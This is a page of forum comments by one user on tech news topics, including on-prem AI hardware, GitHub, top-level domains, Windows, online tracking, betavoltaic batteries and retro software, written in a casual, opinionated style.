Posts by frankvw 514 publicly visible posts • joined 25 Oct 2016
"Hope they charged extra for "lazyness stupidness combined with to high decibels"..."
I once included an "aggavation surcharge" line item on one of my invoices and sent it the the customer's billing department. They paid (including the surcharge) but I never heard from them again. Which, given that I had already decided not to work for them ever again, killed two birds with one stone.
While a bit of drop-in "instant AI" kit might seem a good idea on the surface (especially to manglement) my prime concern would be scaleability.
This thing draws 600W from "just about any 19-inch pizza box" (which casually assumes that "just about any 19-inch pizza box" has 600W of power and cooling to spare) just so that manglement can boast about having AI-kit running on-prem during the Friday afternoon cigars-and-brandy. Which means they'll soon want more of it. Will your pizza box support another 600W on top of that? Unlikely. So you'll need another one.
That pretty much eliminates whatever purpose there might be to doing this with slottable hardware.
"I think we will see a move away from the big really impressive (late + expensive) missions like JWST..."
That would be a shame. You simply cannot develop, build, launch, deploy and commission something like the JWST quickly and on a shoestring budget. And if you want the sort of scientific data that the JWST delivers, a half-baked, scaled-down "good enough" substitute won't do. So a move away from late+expensive projects like JWST means a move away from the quality of results such projects deliver.
Quite frankly I don't see why any of this would surprise anyone. This was always going to happen when MICROS~1 acquired Github. Before the acquisition they had little or nothing to do with Github. Github was only used by developers of FOSS products that competed with Redmond's strangely expensive offerings. From the moment Redmond got its claws into Github, Github was doomed.
I could include a long list of products and businesses here that MICROS~1 acquired and then either killed instantly or let die slowly, but we all know them, so I won't bore you with redundancy. Github is simply the last in that list.
I remember when Fidonet introduced file search and file request processing via echomail in the late 1980s. I remember sharing FTP directory listings via Usenet. I remember trickle servers to request and receive files via email.
Someone here will be able to legitimately top that, and I can't wait to see how. (Sneakernet file transfers or a 747 full of tapes don't count.)
"MACH numbers are dependant on the density of the medium."
An excellent point. So what is the speed of sound through lunar rock? If it's anything like the speed of sound through terrestrial rock, the speed of impact might be lower than the speed of the acoustic vibrations it will cause to travel through the moon itself, making the speed of impact subsonic in that context.
(I"m waiting for the Friday afternoon shift to end - can you tell?)
"...the commercial opportunities are endless..."
And therein lies the problem.
The initial idea behind top level domains was to have them impose some sort of hierarchy on what was until then a network with limited organization and structure. In the US that started with .com, .gov, .edu etc and Europe followed with country-based top level domains such as .uk, .de, .nl and so on. So you knew what you were dealing with: something.gov was an American government entity, company.nl was a business (or business subsidiary) located in the Netherlands, and so on. Simple. Clear. Straightforward.
But then commercial interests replaced common sense. Suddenly everyone could register anything regardless of organization type or location. I'm in South Africa but I've got a .com domain. Perplexity.ai is not located in Anguilla (they probably don't even know where Anguilla is) and netflix.tv is definitely not based on the Polynesian island of Tuvalu.
Which essentially means that top level domains are now useless. My wife can register xyz.yoga or xyzyoga.studio with equal facility. I can have mywomanfrom.tokyo registered one hour from now if I want to, and probably buyacheapamerican.visa as well (although I haven't tried that one yet).
So what, in the name of Zeus' butthole, is the point of having a TLD at all if it can be anything you want and doesn't tell anyone anything useful?
Since W10 and W11 came out I've only installed more fans! Things like constant 100% CPU load, ridiculous amounts of harddisk I/O (especially on start-up) and tons of Coprolite A/I slop have driven up the power consumption of PCs something awful.
Honestly, if MICROS~1 would like to impress me they should start by releasing a version of their products that are aimed at my productivity (and by that I mean actual productivity, not their marketing blurbs about how much more productive it make me while doing the opposite). An OS should enable me to do my work, not get in the way of it, and the latter is what all Windows versions since W7 have done for to me.
Which is why I've recently purged MS slop from the last PC in my house. I now live and work (productively!) in a Linux-only environment. Which is a lot quieter, seeing as it requires fewer fans to operate. Fortunately I'm no longer required these days to use and support applications that only run on Windows.
I hope NASA will diplay some sense, cancel Artemis, and focus entirely on robot exploration of the solar system. The latter is what they excel at, and is what actually advances human understanding of the univere we inhabit. Artemis is little more than a giant leap for PR hyperbole. Granted, as a species we need to get back to the moon and explore the ins and outs of living in other places than on Earth, but China has that covered. Mankind doesn't need the US for that.
Back in the day when bandwidth was limited and expensive but $BIG_COMPANY where I worked had a bunch of T1s, I soon found out that it was nearly impossible to distinguish legitimate SFTP file transfers from less legitimate transfers running over an SSH tunnel. And guess what - it still is.
@Long John Silver:
An interesting post.
First you bemoan the ill effects of "unrestricted use of the Internet by plebeians" (keeping in mind that the term "plebeians" refers to the common working classes who are not part of the powerful elite). Then you note the problems with "power being totally and irrevocably held by the most detestable people on the planet", in other words the powerful elite.
You can't have it both ways. You don't want the plebs to have full Internet access but you also don't want the powers that be to restrict it.
So where do you actually stand?
"Age verification as is currently being proposed in country after country would mean the death of anonymity pron online." FTFY.
This reminds me of a common scam in the late 1990s when dubious adult website demanded "age verification" in the form of your credit card details. Those details would never be used, oh no, they were just to make sure you had a credit card and were therefore an adult. Uh-huh.
No doubt the next step will be for Coprolite to "fix" your document upon saving it, without you having to worry about anything (i.e. you won't get asked for permission, the damn thing will just do it without you even knowing about it).
The Evil Empire is getting ridiculous. (Or desperate, I'm not sure yet.)
The " notorious GPIO bug", as you call it, is only notorious for being rare and hard to reproduce, since it only appears to occur on certain combinations of Windows with other applications than LO, none of which have so far found to be specific. LO uses general I/O methods to save files (hence the error message) which suggest the problem is related do some obscure interaction between a library here or there and something else running on the same system, rather than to the LO code base itself. Hell to reproduce, worse to debug.
Not sure why you feel that formula editing is "rubbish". There's a learning curve if Excel is all you've ever used, that's true, and Calc's approach assumes that you will do the thinking, rather than relying on syntax highlighting and such to do the job for you. (One could argue that the absence of AI in LO reflects that same philosophy.)
Given that the US Gov't demands backdoor entry into every bit of data hosted by US companies or by foreign companies on US soil, the question of key ownership is hardly relevant. The only way to protect European data from American eyes is to stay well away from any data services that are even remotely associated with the US.
After my third telescoping car aerial in the early 1980s had been vandalized, I capped off the hole and connected the radio's aerial input to the demister heating wires on the inside of the rear window (via a ceramic capacitor to keep the DC out, of course). Worked like a dream for the rest of the car's service life.
Interesting discussions here on privacy and tracking. Mostly valid points, too. A shame that they're almost entirely irrelevant.
The reality of the situation is that we all get tracked seven different ways from Sunday all the time no matter what we do, and not just by Google. For example, let's say that:
- Someone in your household or workplace has an Android device
- Someone in your household or workplace has a Facebook account
- Someone in your household or workplace has a Google account
- Someone in your household or workplace uses Whatsapp
Just to name a few; the list is by no means complete. That tells Alphabet, Meta et al that you are associated with those users, just based on IP addresses, network routing, the time you go online etc. It all gets aggregated; it all gets analyzed. When you run enough of that "noise" through a statistical algorithm (which is exactly what Alphabet and Meta excel at) a pattern begins to appear. Eventually that pattern becomes a clear picture.
Which browser you use and how "private" it claims to be is completely irrelevant. You exist in an online ecosystem along with many other people. As soon as you go online, your data traffic can be tracked, because that's how the Internet works.
Gmail is even worse. As soon as you send one email to someone with a Gmail account, the details in your SMTP envelope and email header fields are in their system and on their radar. And we know for a fact that Google scans Gmail content. In a day and age when top level government officials discuss air strikes on leaky social media it's only a matter of time before someone else forwards an email from you to a Gmail account, and if that email has anything in it that will identify you personally (say, your name, phone number or place of employment in your email signature) they've got you. It's all downhill from there on in. Avoiding Gmail may seem fine in theory, but because the people you co-exist with don't avoid it, you get sucked in as well, whether you like it or not. You can't avoid it.
And that's only Alphabet and Meta. Don't even get me started on what government agencies are doing with that data.
Don't get me wrong, I'm not saying there's no point in analyzing thoroughly what goes on under the bonnet of Chrome and all it's derivatives. There is. But let's not kid ourselves when it comes to privacy. You have none, no matter what you do or don't do. It was gone the moment you connected your first device to the Internet.
"...rewrite big chunks of code while not changing the output, and current coder-bots just can't achieve that."
You raise a very good point. Even those bots that occasionally manage to crank out some new code that works (up to a point) still suck big hairy donkey balls when it comes to refactoring code in order to eliminate bugs and vulnerabilities without introducing new ones.
While the dangers of radioactivity are not to be sniggered at, it's not all a horror story. There's radioactivity and there's radioactivity.
The main and most well-known form of radioactivity comes in the form of gamma radiation, which is electromagnetic. In this case, however, we're talking about beta-radiation. Simply put, beta radiation is electrons. A beta-emitting source (as used in these beta-voltaic batteries) emits electrons, plain and simple. Electrons (like the helium nuclei that alpha radiation consists of) are, to all intents and purposes, particles, or at least behave as such when it comes to shielding. Alpha and beta radiation is easy to shield. Beta radiation, for example, is typically stopped adequately by 3mm of aluminium. Shielding alpha particles is even easier: two sheets of paper will do the job quite nicely.
That's not to say that a beta-voltaic battery in your laptop is necessarily a good idea, because shielding can always get damaged, and beta radiation can harm skin and eyes. However, it won't penetrate deeply into the body (unless the beta-emitting material is inhaled or ingested) and therefore will not damage your DNA or that of your offspring.
But the idea that a beta-voltaic battery equates to a small nuclear reactor that will make you glow in the dark is incorrect. Nor should it be compared to the radio thermal generator (RTG) that powers Voyager probes and Mars rovers, since those draw their power from the heat of decaying Plutonium.
The main technical challenge here is scale. Getting an output in the 100+W range will be challenging. A beta-voltaic battery could use, say, 53Ni which is a pure beta emitter (no alpha or gamma) and has a halflife of about 100 years but yields only low-energy beta radiation (electrons). 90Sr is a high energy beta emitter, but has a halflife of just under 39 years, so it won't last as long. That said, wrap the whole thing in a few mm of aluminium and you're safe.
"PS: Bring back WordPerfect.5.1 !"
Haven't tried 5.1 (I always hated WP 5.x) but WP4.2 which I loved fiercely runs fine in DosBox. Printer support can be challenging, although I have managed to get USB-to-RS232 and USB-to-Centronix (harder to find but does exist) working in DoxBox as COM1 and LPT1, respectively. At which point you'll still have to MacGyver up your own WP printer drivers, but if you have too much time on your hands over the Easter weekend, here's one way to spend it.
"...any idea of download speeds while "halfway" to the moon?"
Well, I can make an educated guess: latency will be just over 1.25 seconds ("halfway" defined as the midpoint between earth and moon at average distance) so using standard TCP will be hell. And last I checked, Outlook did not have native support for proper high latency protocols like MAVlink. You can optimize some of it to some extent, and I imagine NASA has anticipated this and will run Compound TCP with large send/ack windows over a MAVlink-like protocol (they have done this sort of thing before, after all) but still. Trying to use Outlook from cis-lunar space is brave. Very brave. The 'nauts deserve one of these. ---->
Same here. AI is still far from perfect and is still limited to knowledge without actual skill. It always may be. But the fact of the matter is that it is getting better all the time. Whether the Reg Commentariat is willing to admit it or not (and if the number of downvotes to each post that doesn't decry AI as the spawn of Satan that can't disapear from the face of the earth soon enough is anything to go by, it's the latter) AI today runs rings around the AI of two years ago. Progress continues to be made. It is likely that that trend will continue. Deal with it.
Revolutionary? Eh... No. Not really
Perhaps the real problem here is that nobody is all that interested in a car that promised to be little more than an electric arcade on wheels with an eye-watering price tag..
Sony would supply "imaging and sensing technology, telecommunications, networks, and the in-car entertainment experience" to be added to what is, to all intents and purposes, just a normal reliable and somewhat boring Honda EV. Especially in the current economic climate there's just no room for expensive gadgetry.
People want a reliable, affordable EV, and sticking a Garmin onto the dashboard or a media player in the back to keep the kids happy during a drive isn't all that complicated, and less likely to break down.
Rather than, say, electronic door handles that won't work half the time and lock you out of your car, or in it. (Tesla, anyone?)
I'm not surprised this got canned.
If I were to work under the current administration I'd also be reluctant to say anything about policies that get changed by the orange angry toddler every ten minutes or so. And, ironically, "whatever the President says it is" is indeed a truthful description of the current policy.
So that's a summa cum laude pass on ass-covering 101.
The real mess, though, occurred when applications in one language got installed on Windows of another language. I spent two days trying to fix a mysterious printer problem where data suddenly was no longer printed on the correct positions in a form (this was in the says of matrix printers and chain forms) before I finally discovered that a printer drier from an English Windows 95 distribution had made its way onto a Dutch language version of Windows 95. Don't ask me why different language printer drivers had different positioning methods, but they did.
Applications could wreak similar havoc. Applications at the time could easily modify or overwrite OS files, and installing applications in a different language than Windows itself could be catastrophic.
